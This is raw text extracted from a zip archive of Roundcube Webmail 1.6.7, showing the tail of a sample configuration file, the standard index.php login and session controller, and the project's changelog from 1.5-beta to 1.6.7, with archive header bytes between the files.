$config['smtp_pass'] = '%p';

// provide an URL where a user can get support for this Roundcube installation
// PLEASE DO NOT LINK TO THE ROUNDCUBE.NET WEBSITE HERE!
$config['support_url'] = '';

// Name your service. This is displayed on the login screen and in the window title
$config['product_name'] = 'Roundcube Webmail';

// This key is used to encrypt the users imap password which is stored
// in the session record. For the default cipher method it must be
// exactly 24 characters long.
// YOUR KEY MUST BE DIFFERENT THAN THE SAMPLE VALUE FOR SECURITY REASONS
$config['des_key'] = 'rcmail-!24ByteDESkey*Str';

// List of active plugins (in plugins/ directory)
$config['plugins'] = [
    'archive',
    'zipdownload',
];

// skin name: folder from skins/
$config['skin'] = 'elastic';
PKh�\Փ��+�+	index.phpnu�[���<?php
/**
 +-------------------------------------------------------------------------+
 | Roundcube Webmail IMAP Client                                           |
 | Version 1.6.7                                                           |
 |                                                                         |
 | Copyright (C) The Roundcube Dev Team                                    |
 |                                                                         |
 | This program is free software: you can redistribute it and/or modify    |
 | it under the terms of the GNU General Public License (with exceptions   |
 | for skins & plugins) as published by the Free Software Foundation,      |
 | either version 3 of the License, or (at your option) any later version. |
 |                                                                         |
 | This file forms part of the Roundcube Webmail Software for which the    |
 | following exception is added: Plugins and Skins which merely make       |
 | function calls to the Roundcube Webmail Software, and for that purpose  |
 | include it by reference shall not be considered modifications of        |
 | the software.                                                           |
 |                                                                         |
 | If you wish to use this file in another project or create a modified    |
 | version that will not be part of the Roundcube Webmail Software, you    |
 | may remove the exception above and use this source code under the       |
 | original version of the license.                                        |
 |                                                                         |
 | This program is distributed in the hope that it will be useful,         |
 | but WITHOUT ANY WARRANTY; without even the implied warranty of          |
 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the            |
 | GNU General Public License for more details.                            |
 |                                                                         |
 | You should have received a copy of the GNU General Public License       |
 | along with this program.  If not, see http://www.gnu.org/licenses/.     |
 |                                                                         |
 +-------------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                          |
 | Author: Aleksander Machniak <alec@alec.pl>                              |
 +-------------------------------------------------------------------------+
*/

// include environment
require_once 'program/include/iniset.php';

// init application, start session, init output class, etc.
$RCMAIL = rcmail::get_instance(0, isset($GLOBALS['env']) ? $GLOBALS['env'] : null);

// Make the whole PHP output non-cacheable (#1487797)
$RCMAIL->output->nocacheing_headers();
$RCMAIL->output->common_headers(!empty($_SESSION['user_id']));

// turn on output buffering
ob_start();

// check the initial error state
if ($RCMAIL->config->get_error() || $RCMAIL->db->is_error()) {
    rcmail_fatal_error();
}

// error steps
if ($RCMAIL->action == 'error' && !empty($_GET['_code'])) {
    rcmail::raise_error(['code' => hexdec($_GET['_code'])], false, true);
}

// check if https is required (for login) and redirect if necessary
if (empty($_SESSION['user_id']) && ($force_https = $RCMAIL->config->get('force_https', false))) {
    // force_https can be true, <hostname>, <hostname>:<port>, <port>
    if (!is_bool($force_https)) {
        list($host, $port) = explode(':', $force_https);

        if (is_numeric($host) && empty($port)) {
            $port = $host;
            $host = '';
        }
    }

    if (empty($port)) {
        $port = 443;
    }

    if (!rcube_utils::https_check($port)) {
        if (empty($host)) {
            $host = preg_replace('/:[0-9]+$/', '', $_SERVER['HTTP_HOST']);
        }
        if ($port != 443) {
            $host .= ':' . $port;
        }

        header('Location: https://' . $host . $_SERVER['REQUEST_URI']);
        exit;
    }
}

// trigger startup plugin hook
$startup = $RCMAIL->plugins->exec_hook('startup', ['task' => $RCMAIL->task, 'action' => $RCMAIL->action]);
$RCMAIL->set_task($startup['task']);
$RCMAIL->action = $startup['action'];

$session_error = null;

// try to log in
if ($RCMAIL->task == 'login' && $RCMAIL->action == 'login') {
    $request_valid = !empty($_SESSION['temp']) && $RCMAIL->check_request();
    $pass_charset  = $RCMAIL->config->get('password_charset', 'UTF-8');

    // purge the session in case of new login when a session already exists
    if ($request_valid) {
        $RCMAIL->kill_session();
    }

    $auth = $RCMAIL->plugins->exec_hook('authenticate', [
            'host'  => $RCMAIL->autoselect_host(),
            'user'  => trim(rcube_utils::get_input_string('_user', rcube_utils::INPUT_POST)),
            'pass'  => rcube_utils::get_input_string('_pass', rcube_utils::INPUT_POST, true, $pass_charset),
            'valid' => $request_valid,
            'error' => null,
            'cookiecheck' => true,
    ]);

    // Login
    if ($auth['valid'] && !$auth['abort']
        && $RCMAIL->login($auth['user'], $auth['pass'], $auth['host'], $auth['cookiecheck'])
    ) {
        // create new session ID, don't destroy the current session
        // it was destroyed already by $RCMAIL->kill_session() above
        $RCMAIL->session->remove('temp');
        $RCMAIL->session->regenerate_id(false);

        // send auth cookie if necessary
        $RCMAIL->session->set_auth_cookie();

        // log successful login
        $RCMAIL->log_login();

        // restore original request parameters
        $query = [];
        if ($url = rcube_utils::get_input_string('_url', rcube_utils::INPUT_POST)) {
            parse_str($url, $query);

            // prevent endless looping on login page
            if (!empty($query['_task']) && $query['_task'] == 'login') {
                unset($query['_task']);
            }

            // prevent redirect to compose with specified ID (#1488226)
            if (!empty($query['_action']) && $query['_action'] == 'compose' && !empty($query['_id'])) {
                $query = ['_action' => 'compose'];
            }
        }

        // allow plugins to control the redirect url after login success
        $redir = $RCMAIL->plugins->exec_hook('login_after', $query + ['_task' => 'mail']);
        unset($redir['abort'], $redir['_err']);

        // send redirect
        $RCMAIL->output->redirect($redir, 0, true);
    }
    else {
        if (!$auth['valid']) {
            $error_code = rcmail::ERROR_INVALID_REQUEST;
        }
        else {
            $error_code = is_numeric($auth['error']) ? $auth['error'] : $RCMAIL->login_error();
        }

        $error_labels = [
            rcmail::ERROR_STORAGE          => 'storageerror',
            rcmail::ERROR_COOKIES_DISABLED => 'cookiesdisabled',
            rcmail::ERROR_INVALID_REQUEST  => 'invalidrequest',
            rcmail::ERROR_INVALID_HOST     => 'invalidhost',
            rcmail::ERROR_RATE_LIMIT       => 'accountlocked',
        ];

        if (!empty($auth['error']) && !is_numeric($auth['error'])) {
            $error_message = $auth['error'];
        }
        else {
            $error_message = !empty($error_labels[$error_code]) ? $error_labels[$error_code] : 'loginfailed';
        }

        $RCMAIL->output->show_message($error_message, 'warning');

        // log failed login
        $RCMAIL->log_login($auth['user'], true, $error_code);

        $RCMAIL->plugins->exec_hook('login_failed', [
                'code' => $error_code,
                'host' => $auth['host'],
                'user' => $auth['user'],
        ]);

        if (!isset($_SESSION['user_id'])) {
            $RCMAIL->kill_session();
        }
    }
}

// handle oauth login requests
else if ($RCMAIL->task == 'login' && $RCMAIL->action == 'oauth' && $RCMAIL->oauth->is_enabled()) {
    $oauth_handler = new rcmail_action_login_oauth();
    $oauth_handler->run();
}

// end session
else if ($RCMAIL->task == 'logout' && isset($_SESSION['user_id'])) {
    $RCMAIL->request_security_check(rcube_utils::INPUT_GET | rcube_utils::INPUT_POST);

    $userdata = array(
        'user' => $_SESSION['username'],
        'host' => $_SESSION['storage_host'],
        'lang' => $RCMAIL->user->language,
    );

    $RCMAIL->output->show_message('loggedout');

    $RCMAIL->logout_actions();
    $RCMAIL->kill_session();
    $RCMAIL->plugins->exec_hook('logout_after', $userdata);
}

// check session and auth cookie
else if ($RCMAIL->task != 'login' && $_SESSION['user_id']) {
    if (!$RCMAIL->session->check_auth()) {
        $RCMAIL->kill_session();
        $session_error = 'sessionerror';
    }
}

// not logged in -> show login page
if (empty($RCMAIL->user->ID)) {
    if (
        $session_error
        || (!empty($_REQUEST['_err']) && $_REQUEST['_err'] === 'session')
        || ($session_error = $RCMAIL->session_error())
    ) {
        $RCMAIL->output->show_message($session_error ?: 'sessionerror', 'error', null, true, -1);
    }

    if ($RCMAIL->output->ajax_call || $RCMAIL->output->get_env('framed')) {
        $RCMAIL->output->command('session_error', $RCMAIL->url(['_err' => 'session']));
        $RCMAIL->output->send('iframe');
    }

    // check if installer is still active
    if ($RCMAIL->config->get('enable_installer') && is_readable('./installer/index.php')) {
        $RCMAIL->output->add_footer(html::div(['id' => 'login-addon', 'style' => "background:#ef9398; border:2px solid #dc5757; padding:0.5em; margin:2em auto; width:50em"],
            html::tag('h2', array('style' => "margin-top:0.2em"), "Installer script is still accessible") .
            html::p(null, "The install script of your Roundcube installation is still stored in its default location!") .
            html::p(null, "Please <b>remove</b> the whole <tt>installer</tt> folder from the Roundcube directory because
                these files may expose sensitive configuration data like server passwords and encryption keys
                to the public. Make sure you cannot access the <a href=\"./installer/\">installer script</a> from your browser.")
        ));
    }

    $plugin = $RCMAIL->plugins->exec_hook('unauthenticated', [
            'task'      => 'login',
            'error'     => $session_error,
            // Return 401 only on failed logins (#7010)
            'http_code' => empty($session_error) && !empty($error_message) ? 401 : 200
    ]);

    $RCMAIL->set_task($plugin['task']);

    if ($plugin['http_code'] == 401) {
        header('HTTP/1.0 401 Unauthorized');
    }

    $RCMAIL->output->send($plugin['task']);
}
else {
    // CSRF prevention
    $RCMAIL->request_security_check();

    // check access to disabled actions
    $disabled_actions = (array) $RCMAIL->config->get('disabled_actions');
    if (in_array($RCMAIL->task . '.' . ($RCMAIL->action ?: 'index'), $disabled_actions)) {
        rcube::raise_error(['code' => 404, 'message' => "Action disabled"], true, true);
    }
}

$RCMAIL->action_handler();
PKh�\��R"C"CCHANGELOG.mdnu�[���# Changelog Roundcube Webmail

## Release 1.6.7

- Makefile: Use phpDocumentor v3.4 for the Framework docs (#9313)
- Fix bug where HTML entities in URLs were not decoded on HTML to plain text conversion (#9312)
- Fix bug in collapsing/expanding folders with some special characters in names (#9324)
- Fix PHP8 warnings (#9363, #9365, #9429)
- Fix missing field labels in CSV import, for some locales (#9393)
- Fix command injection via crafted im_convert_path/im_identify_path on Windows
- Fix cross-site scripting (XSS) vulnerability in handling list columns from user preferences
- Fix cross-site scripting (XSS) vulnerability in handling SVG animate attributes

## Release 1.6.6

- Fix regression in handling LDAP search_fields configuration parameter (#9210)
- Enigma: Fix finding of a private key when decrypting a message using GnuPG v2.3
- Fix page jump menu flickering on click (#9196)
- Update to TinyMCE 5.10.9 security release (#9228)
- Fix PHP8 warnings (#9235, #9238, #9242, #9306)
- Fix saving other encryption settings besides enigma's (#9240)
- Fix unneeded php command use in installto.sh and deluser.sh scripts (#9237)
- Fix TinyMCE localization installation (#9266)
- Fix bug where trailing non-ascii characters in email addresses could have been removed in recipient input (#9257)
- Fix IMAP GETMETADATA command with options - RFC5464

## Release 1.6.5

- Fix PHP8 fatal error when parsing a malformed BODYSTRUCTURE (#9171)
- Fix duplicated Inbox folder on IMAP servers that do not use Inbox folder with all capital letters (#9166)
- Fix PHP warnings (#9174)
- Fix UI issue when dealing with an invalid managesieve_default_headers value (#9175)
- Fix bug where images attached to application/smil messages weren't displayed (#8870)
- Fix PHP string replacement error in utils/error.php (#9185)
- Fix regression where `smtp_user` did not allow pre/post strings before/after `%u` placeholder (#9162)
- Fix cross-site scripting (XSS) vulnerability in setting Content-Type/Content-Disposition for attachment preview/download

## Release 1.6.4

- Fix PHP8 warnings (#9142, #9160)
- Fix default 'mime.types' path on Windows (#9113)
- Managesieve: Fix javascript error when relational or spamtest extension is not enabled (#9139)
- Fix cross-site scripting (XSS) vulnerability in handling of SVG in HTML messages [CVE-2023-5631] (#9168)

## Release 1.6.3

- Fix bug where installto.sh/update.sh scripts were removing some essential options from the config file (#9051)
- Update jQuery-UI to version 1.13.2 (#9041)
- Fix regression that broke use_secure_urls feature (#9052)
- Fix potential PHP fatal error when opening a message with message/rfc822 part (#8953)
- Fix bug where a duplicate `<title>` tag in HTML email could cause some parts being cut off (#9029)
- Fix bug where a list of folders could have been sorted incorrectly (#9057)
- Fix regression where LDAP addressbook 'filter' option was ignored (#9061)
- Fix wrong order of a multi-folder search result when sorting by size (#9065)
- Fix so install/update scripts do not require PEAR (#9037)
- Fix regression where some mail parts could have been decoded incorrectly, or not at all (#9096)
- Fix handling of an error case in Cyrus IMAP BINARY FETCH, fallback to non-binary FETCH (#9097)
- Fix PHP8 deprecation warning in the reconnect plugin (#9083)
- Fix "Show source" on mobile with x_frame_options = deny (#9084)
- Fix various PHP warnings (#9098)
- Fix deprecated use of ldap_connect() in password's ldap_simple driver (#9060)
- Fix cross-site scripting (XSS) vulnerability in handling of linkrefs in plain text messages [CVE-2023-43770]

## Release 1.6.2

- Add Uyghur localization
- Fix regression in OAuth request URI caused by use of REQUEST_URI instead of SCRIPT_NAME as a default (#8878)
- Fix bug where false attachment reminder was displayed on HTML mail with inline images (#8885)
- Fix bug where a non-ASCII character in app.js could cause error in javascript engine (#8894)
- Fix JWT decoding with url safe base64 schema (#8890)
- Fix bug where .wav instead of .mp3 file was used for the new mail notification in Firefox (#8895)
- Fix PHP8 warning (#8891)
- Fix support for Windows-31J charset (#8869)
- Fix so LDAP VLV option is disabled by default as documented (#8833)
- Fix so an email address with name is supported as input to the managesieve notify :from parameter (#8918)
- Fix Help plugin menu (#8898)
- Fix invalid onclick handler on the logo image when using non-array skin_logo setting (#8933)
- Fix duplicate recipients in "To" and "Cc" on reply (#8912)
- Fix bug where it wasn't possible to scroll lists by clicking middle mouse button (#8942)
- Fix bug where label text in a single-input dialog could be partially invisible in some locales (#8905)
- Fix bug where LDAP (fulltext) search didn't work without 'search_fields' in config (#8874)
- Fix extra leading newlines in plain text converted from HTML (#8973)
- Fix so recipients with a domain ending with .s are allowed (#8854)
- Fix so vCard output does not contain non-standard/redundant TYPE=OTHER and TYPE=INTERNET (#8838)
- Fix QR code images for contacts with non-ASCII characters (#9001)
- Fix PHP8 warnings when using list_flags and list_cols properties by plugins (#8998)
- Fix bug where subfolders could loose subscription on parent folder rename (#8892)
- Fix connecting to LDAP using an URI with ldapi:// scheme (#8990)
- Fix insecure shell command params handling in cmd_learn driver of markasjunk plugin (#9005)
- Fix bug where some mail headers didn't work in cmd_learn driver of markasjunk plugin (#9005)
- Fix PHP fatal error when importing vcf file using PHP 8.2 (#9025)
- Fix so output of log_date_format with microseconds contains time in server time zone, not UTC

## Release 1.6.1

- Kill session if refreshing oauth token fails (#8734)
- Fix various PHP 8.1 warnings (#8628, #8644, #8667, #8656, #8647)
- Password: Remove references to %c variable that has been removed before (#8633)
- Fix anchor links in HTML mail (#8632)
- Fix bug where config creation in Installer did ignore options in the form (#8634)
- Fix bug where renamed options were removed from the config on installto.sh (update.sh) run (#8643)
- Fix favicon rewrite rule in .htaccess (#8654)
- Fix various PHP 8.2 warnings
- Fix bug where it wasn't possible to create more than one response record on SQLite and Postgres (#8664)
- Fix support for ManageSieve over implicit SSL (#8670)
- Fix bug where "about:blank" page could trigger "load error" (#8554)
- Fix bug where setting 'Clear Trash on Logout' to 'all messages' didn't work (#8687)
- Fix bug where the attachment menu wouldn't disappear after an action is selected (#8691)
- Fix bug where some dialogs in an eml attachment preview would not close on mobile (#8627)
- Fix bug where multiline data:image URI's in emails were stripped from the message on display (#8613)
- Fix fatal error on identity page if Enigma plugin is misconfigured (#8719)
- Fix so N property always exists in a vCard export (#8771)
- Fix authenticating to Courier IMAP with passwords containing a '~' character (#8772)
- Fix handling of smtp/imap port options on configuration file update (#8756)
- Fix bug where array values could not be saved in utils/save_pref action (#8781)
- Add workaround for using Roundcube behind a reverse proxy with a subpath: 'request_path' option (#8738, #8770)
- Fix bug where "Invalid skin name" error was logged on preferences save if there's only one skin (#8825)
- Fix SIGBUS raised in ImageMagick when more than one process tried to generate a thumbnail of the same image attachment (#8511)
- Fix bug where updater does not update the vendor packages (#8642)
- Fix missing mail composing textarea on reply/draft with a long plain text content (#8866)

## Release 1.6.0

- Fix SMTP XCLIENT extension when not using STARTTLS (#8581)
- Fix call to undefined method rcube_ldap_generic::option_set() (#8564)
- Fix PHP Fatal error on incompatible method declaration of rcmail_output_json::command() and rcmail_output::command() (#8579)
- Fix support for DSN specification without host e.g. `pgsql:///dbname` (#8558)
- Fix TinyMCE configuration for handling styles of pasted content in webkit browsers (#8555)
- Fix bug where some checkboxes could be selected unintentinally (#8565)
- Fix css styles of the email recipient element while dragging (#8580)
- Fix PHP 8.1 warnings in the LDAP backend code (#8572)
- Fix various PHP 8.1 warnings (#8584)
- Fix bug where a recipient address containing UTF-8 characters was ignored when sending an email (#8493, #8546)
- Fix so rcmail::contact_exists() works with IDNA addresses (#8545)
- Fix password option in `storage_init` hook after refreshing oauth access token (#8436)
- Fix attachment Options popover menu after attachment delete (#8602)
- Fix so "Found unconstructed Spoofchecker" error is not fatal (#8537)

## Release 1.6-rc

- Update to jQuery-UI 1.13.1 (#8455)
- Added possibility to make the logo image a link via the 'skin_logo' option (#8501)
- Use navigator.pdfViewerEnabled for PDF viewer detection
- Remove use of unreliable charset detection (#8344)
- Don't list images attached to multipart/related part as attachments (#7184)
- Password: Add support for ssha256 algorithm (#8459)
- Fix so unix:// URI is supported in various host spec. options again (#8468)
- Fix slow loading of long HTML content into the HTML editor (#8108)
- Fix bug where SMTP password didn't work if it contained '%p' (#8435)
- Enigma: Fix initial synchronization of private keys
- Enigma: Fix double quoted-printable encoding of pgp-signed messages with no attachments (#8413)
- Fix handling of message/rfc822 parts that are small and are multipart structures with a single part (#8458)
- Fix bug where session could time out if DB and PHP timezone were different (#8303)
- Fix bug where DSN flag state wasn't stored with a draft (#8371)
- Fix broken encoding of HTML content encapsulated in a RTF attachment (#8444)
- Fix problem with aria-hidden=true on toolbar menus in the Elastic skin (#8517)
- Fix so links (e.g. www.some.page or http://some.page) are not considered mispellings (#8527)
- Fix bug where title tag content was displayed in the body if it contained HTML tags (#8540)

## Release 1.6-beta

- Unified and simplified services connection options (#8310):
    1. IMAP:
        - renamed `default_host` to `imap_host`
        - removed `default_port` option (non-standard port can be set via `imap_host`)
        - set "localhost:143" as a default for `imap_host`
    2. SMTP:
        - renamed `smtp_server` to `smtp_host`
        - removed `smtp_port` option (non-standard port can be set via `smtp_host`)
        - set "localhost:587" as a default for `smtp_host`
    3. LDAP:
        - removed `port` option from `ldap_public` array (non-standard port can be set via `host`)
        - removed `use_tls` option from `ldap_public` array (use tls:// prefix in `host`)
    4. Managesieve:
        - removed `managesieve_port` option (non-standard port can be set via `managesieve_host`)
        - removed `managesieve_usetls` option (tls:// prefix in `managesieve_host` have to be used)
- Plugin API: Removed `smtp_port` parameter in `smtp_connect` hook
- Plugin API: Renamed `smtp_server` parameter to `smtp_host` in `smtp_connect` hook
- Plugin API: Removed `port` parameter in `managesieve_connect` hook
- Plugin API: Removed `usetls` parameter in `managesieve_connect` hook
- Added support for PHP 8.1 (#8151)
- Dropped support for PHP < 7.3 (#7976)
- Dropped support for strftime-like format (with % sign) in date and time format configuration
- Moved the Classic and Larry skins to their own repository (#8271)
- SQLite: Use foreign keys, require SQLite >= 3.6.19
- Replace Endroid QrCode with BaconQrCode (#8173)
- Support responses (snippets) in HTML format (#5315)
- Purge also subfolders of Trash (and/or messages in them) on logout (#1037)
- Add support for encryption with AEAD ciphers, e.g. aes-256-gcm (#7097)
- Add option to purge deleted mails older than 30, 60 or 90 days (#5493)
- Add ability to mark multiple messages as not deleted at once (#5133)
- Add possibility to disable line-wrapping of sent mail body (#5101)
- Improve/Fix wrapping of plain text messages on preview and reply (#6974, #8391, #8378, #8289)
- Improve searching by sender/recipient headers, support Reply-To and Followup-To (#6582)
- Add option to control links handling behavior on html to text conversion (#6485)
- Add 'loginform_content' plugin hook (#8273, #6569)
- SMTP: If requested use TLS also without authentication (#4590, #8111)
- Display a generic error page on initial DB/configuration errors (#8222)
- Display telephone numbers as tel: links (#8240)
- Elastic: Move scrollbar settings to variables (#8352)
- Elastic: Use thin scrollbars in both light and dark mode
- Elastic: Make the scrollbar color lighter in dark mode (#8345)
- Autologout: A new plugin to auto log out users with a POST request (#8270)
- Enigma: Upgrade to OpenPGP.js v5.0
- Identicon: Make background color of the image to match the current skin colors (#8256)
- Newmail_notifier: Update favicon to match the current favicon style and size (#7826)
- Password: Remove password_blowfish_cost option, in favor of password_algorithm_options
- Password: Remove support for password_algorithms crypt, hash and cram-md5
- Password: Remove support for %c, %d, %n, %q variables in password_query
- Password: Add support for passwords based on PHP's password_hash() function (#7724)
- Password: Verify current password with IMAP (#8142)
- Password: Improve handling errors on executed commands (#8200)
- Password: Add Mailcow driver (#8291)
- Fix compatibility with Referrer-Policy: "strict-origin" (#8170)
- Fix locked SQLite database for the CLI tools (#8035)
- Fix Makefile on Linux (#8211)
- Fix so PHP warnings are ignored when resizing a malformed image attachment (#8387)
- Fix various PHP8 warnings (#8392, #9193)
- Fix mail headers injection via the subject field on mail compose (#8404)
- Fix bug where small message/rfc822 parts could not be decoded (#8408)
- Fix setting HTML mode on reply/forward of a signed message (#8405)
- Fix handling of RFC2231-encoded attachment names inside of a message/rfc822 part (#8418)
- Fix bug where some mail parts (images) could have not be listed as attachments (#8425)
- Fix bug where attachment icons were stuck at the top of the messages list in Safari (#8433)

## Release 1.5.2

- OAuth: pass 'id_token' to 'oauth_login' plugin hook (#8214)
- OAuth: fix expiration of short-lived oauth tokens (#8147)
- OAuth: fix relative path to assets if /index.php/foo/bar url is used (#8144)
- OAuth: no auto-redirect on imap login failures (#8370)
- OAuth: refresh access token in 'refresh' plugin hook (#8224)
- Fix so folder search parameters are honored by subscriptions_option plugin (#8312)
- Fix password change with Directadmin driver (#8322, #8329)
- Fix so css files in plugins/jqueryui/themes will be minified too (#8337)
- Fix handling of unicode/special characters in custom From input (#8357)
- Fix some PHP8 compatibility issues (#8363)
- Fix chpass-wrapper.py helper compatibility with Python 3 (#8324)
- Fix scrolling and missing Close button in the Select image dialog in Elastic/mobile (#8367)
- Security: Fix cross-site scripting (XSS) via HTML messages with malicious CSS content

## Release 1.5.1

- Fix importing contacts with no email address (#8227)
- Fix so session's search scope is not used if search is not active (#8199)
- Fix some PHP8 warnings (#8239)
- Fix so dark mode state is retained after closing the browser (#8237)
- Fix bug where new messages were not added to the list on refresh if skip_deleted=true (#8234)
- Fix colors on "Show source" page in dark mode (#8246)
- Fix handling of dark_mode_support:false setting in skins meta.json - also when devel_mode=false (#8249)
- Fix database initialization if db_prefix is a schema prefix (#8221)
- Fix undefined constant error in Installer on Windows (#8258)
- Fix installation/upgrade on MySQL 5.5 - Index column size too large (#8231)
- Fix regression in setting of contact listing name (#8260)
- Fix bug in Larry skin where headers toggle state was reset on full page preview (#8203)
- Fix bug where \u200b characters were added into the recipient input preventing mail delivery (#8269)
- Fix charset conversion errors on PHP < 8 for charsets not supported by mbstring (#8252)
- Fix bug where adding a contact to trusted senders via "Always allow from..." button didn't work (#8264, #8268)
- Fix bug with show_images setting where option 1 and 3 were swapped (#8268)
- Fix PHP fatal error on an undefined constant in contacts import action (#8277)
- Fix fetching headers of multiple message parts at once in rcube_imap_generic::fetchMIMEHeaders() (#8282)
- Fix bug where attachment download could sometimes fail with a CSRF check error (#8283)
- Fix an infinite loop when parsing environment variables with float/integer values (#8293)
- Fix so 'small-dark' logo has more priority than the 'small' logo (#8298)

## Release 1.5.0

- Support displaying RTF content (including encapsulated HTML) from a TNEF attachment
- Newmail_notifier: Improved the notification sound (#8155)
- Disable the default spellchecker option using spell.roundcube.net (#8182)
- Fix size of Mailvelope iframe for PGP-inlined mail, again (#8126)
- Fix handling of group names with @ character in autocomplete and contacts widget (#8098)
- Fix Firefox infinate loading display on mail screen (#8128)
- Fix converting >1MB of HTML content into plain text (#8137)
- Fix bug where expanding a group in the recipient input could corrupt the input content (#7569)
- Fix fatal error/warning on invalid input to user parameter (#8152)
- Fix changing password with dovecot_passwdfile driver (#8145)
- Fix handling of headers that occur multiple times by show_additional_headers plugin (#8157)
- Fix bug where vertical scrollbar in new HTML message bounced back on scroll (#8046)
- Fix displaying inline images with incorrectly declared content-type (#8158)
- Fix so addr-spec with missing closing angle bracket can be parsed (#8164)
- Fix handling of spellcheck connection errors (#8172)
- Fix a couple of PHP8 warnings (#8175, #8176)
- Fix bug where "from my contacts" and "from trusted senders" values were mixed up (#8177)
- Fix password/token length check on OAuth login (#8178)
- Fix XSS issue in handling attachment filename extension in mimetype mismatch warning (#8193)
- Fix SQL injection via some session variables
- Fix handling of dark_mode_support:false setting in skins meta.json (#8186)
- Fix security issues regarding server name and trusted_host_patterns setting

## Release 1.5-rc

- Upgrade to TinyMCE 5.8.2
- SMTP XCLIENT support (#7893, #6411)
- Add IDN homograph attack (spoofing) detection [CVE-2019-15237] (#6891)
- Add configuration options for subject prefixes (#7929, #4981)
- Support IMAP LITERAL- extension [RFC 7888] (#6878)
- Warn the user about a potential data leak on mail bounce or forward (#7993)
- Make the Empty action available for every non-empty folder, not only Trash (#7948)
- Remove (incorrect) use of Return-Receipt-To header (#8069)
- Submit various simple dialog forms with the Enter key (#7133)
- Add RFC2231 support to rcube_mime_decode (#7390)
- Plugin API: Allow modification of 'error' argument in 'message_send_error' hook (#7914)
- OAuth: add plugin hooks `oauth_login` and `oauth_refresh_token` for oauth events (#8028, #8040)
- Debug_logger: Fix the main plugin functionality and documentation (#8041)
- Enigma: Fix bug where signature verification could fail for non-ascii bodies (#7919)
- Enigma: Fix invalid expiration dates of PGP keys on a 32bit system (#7531)
- Enigma: Display an information that public and private keys are stored on the server (#7941)
- Enigma: Optional support for passwordless keys (#7265)
- Managesieve: Fix removing nested rules in scripts (#8011)
- Managesieve: Support XOAUTH2, requires Net_Sieve 1.4.5 (#7925)
- Managesieve: Added ability to remove 'redirect' option from UI (#7922)
- New_user_dialog: Use the 'identity_update' hook (#8023)
- Password: Fix broken 'hmail' driver (#7966)
- Password: Set password_minimum_length to 8 by default (#8003)
- Vcard_attachments: Improve handling of multiple contacts (#7027)
- Fix inserting a group from non-default source using the Insert contact(s) dialog (#8095)
- Fix invalid search fields after search scope change (#6919)
- Fix so "Always allow from..." button appears also when allow_images=3 (#7961)
- Fix Elastic's pretty select scroll position in Chrome (#7964)
- Fix bug where invalid non-unicode characters in JSON output could make the UI unresponsive (#7955)
- Fix PHP 8 fatal error when allowing images in an email (#7968)
- Fix so session expiration is more precise and do not depend on the garbage collector (#7576)
- Fix bug where imap_conn_options settings were ignored (#7912)
- Fix bug causing some HTML message content to be not centered in Elastic skin (#7911)
- Fix bug when sending an email and recipient's email address contains a trailing dot (#7899)
- Fix bug where the list page wasn't reset when changing a folder on mail view page (#7932)
- Fix so selecting the same folder to reset search resets also the page number (#7125)
- Fix login page rendering after oauth failure (#7812,#7923)
- Fix bug where assigning users to groups via menu (not drag'n'drop) could fail in Elastic theme (#7973)
- Fix HTML5 parser issue with a messy HTML code from Outlook (#7356)
- Fix handling of multiple link references with the same index in plain text message (#8021)
- Fix various actions on folders with angle brackets in name (#8037)
- Fix inconsistent fowarding actions statuses on drafts (#8039)
- Fix bug where `start` and `reversed` attributes of `ol` tag were ignored (#8059)
- Fix bug where consecutive LDAP searches could return wrong results (#8064)
- Fix bug where plus characters in attachment filename could have been ignored (#8074)
- Fix displaying HTML body with inline images encapsulated using TNEF format (winmail.dat)
- Fix handling of custom sender addresses with names (#8106)
- Fix shift + drag'n'drop menu not working in Elastic skin with Chrome browser (#8107)

## Release 1.5-beta

- Require PHP >= 5.5
- Support PHP 8.0 (#7625)
- Require php-intl
- Remove use of Net_IDNA2 package
- Require GuzzleHttp\Client
- Upgrade to TinyMCE 5.5.1
- Upgrade to jQuery 3.5.1 (#7464)
- Update build tools (#7800, #7804, #7497):
    - jsshrink.sh: Replace google-closure-compiler with UglifyJS
    - cssshrink.sh: Replace yuicompressor with csso
    - require lessc >= 2.5.2 (and add support for v4) with less-plugin-clean-css for Less files compilation
- Automatically collected recipients and trusted senders (#6904)
    - Added configurable Collected Recipients addressbook source (#4971)
    - Added configurable Trusted Senders addressbook source (#5046)
    - Added 'contact_exists' hook
    - Added separate "trusted senders" options for show_images and mdn_request preferences (#7614)
- Contact form mode: private/business (#7630)
- OAuth/XOauth support (#7425, #6933)
- Cache refactoring (#6312)
- Added special value 'email' to login_username_filter, it changes also logon input type (#7179)
- Allow array in smtp_host config (#7296)
- Support proxy for server-side HTTP requests (#7658)
- By default do not set the User-Agent header (#7731)
- Add possibility to (re-)define field mapping on contacts import from a CSV file (#7045, #6668)
- Move "On request for return receipt" from "Mailbox View" to "Displaying Messages" (#7614)
- Support RFC8438: IMAP STATUS=SIZE - for faster folder size calculation (#7269)
- MySQL: Use utf8mb4 charset and utf8mb4_unicode_ci collation (#6535, #7113)
- Allow NULL in users.preferences column in postgres and sqlite db, the same as for other engines (#7767)
- Support for language codes up to 16 chars long (e.g. es-419) in database schema (#6851)
- Relaxed domain name validation for extended TLDs support (#5588)
- Allow opening application/octet-stream attachments according to filename extension (#6821)
- Added support for INSERT OR REPLACE queries (#6771)
- Allow skins to define which layout options they support (#7235)
- Extract RFC2231 attachment name from message headers (#6729, #6783)
- Add support for SameSite cookie attribute via session_samesite option (req PHP >= 7.3.0) (#6772)
- Change folders sorting so shared/other users namespaces are listed last (#5012)
- Display a warning and do not try to open empty attachments (#7332)
- Return 204 rather than 404 on missing contact photo (#7777)
- Add 'reconnect' plugin to retry IMAP connection (#7844)
- Plugin API: Added 'message' argument to 'message_compose_body' hook
- Plugin API: Added 'preferences' parameter to 'user_create' hook (#7692)
- Elastic: Dark mode (#6709)
- Elastic: Display email size on the list of messages (#7162)
- Elastic: Replace properties sidebar with a dialog on the attachment preview page (#7635)
- Elastic: Minimize forms/colors blink on page load
- Elastic: Improve mail header "detailed mode" (#7224)
- Elastic: Moving single recipients between recipient inputs with drag-n-drop (#5069)
- Elastic: Display a special icon for other users and shared namespace roots (#5012)
- Elastic: Support space-separated email addresses in recipient input (#6529, #6457)
- Elastic: Remember list checkbox selection state (#7148)
- Elastic: Add "Open in new window" in mail compose (#7260)
- Elastic: Make custom less files optional (#7497)
- Elastic: Prevent from opening mail preview in a new window on touch devices using double tap (#7732)
- Templates: Add support for expressions in object attributes (#7237)
- Templates: Add support for nested if conditions (#6818)
- Templates: Make [space][slash] ending of condition objects optional (#6954)
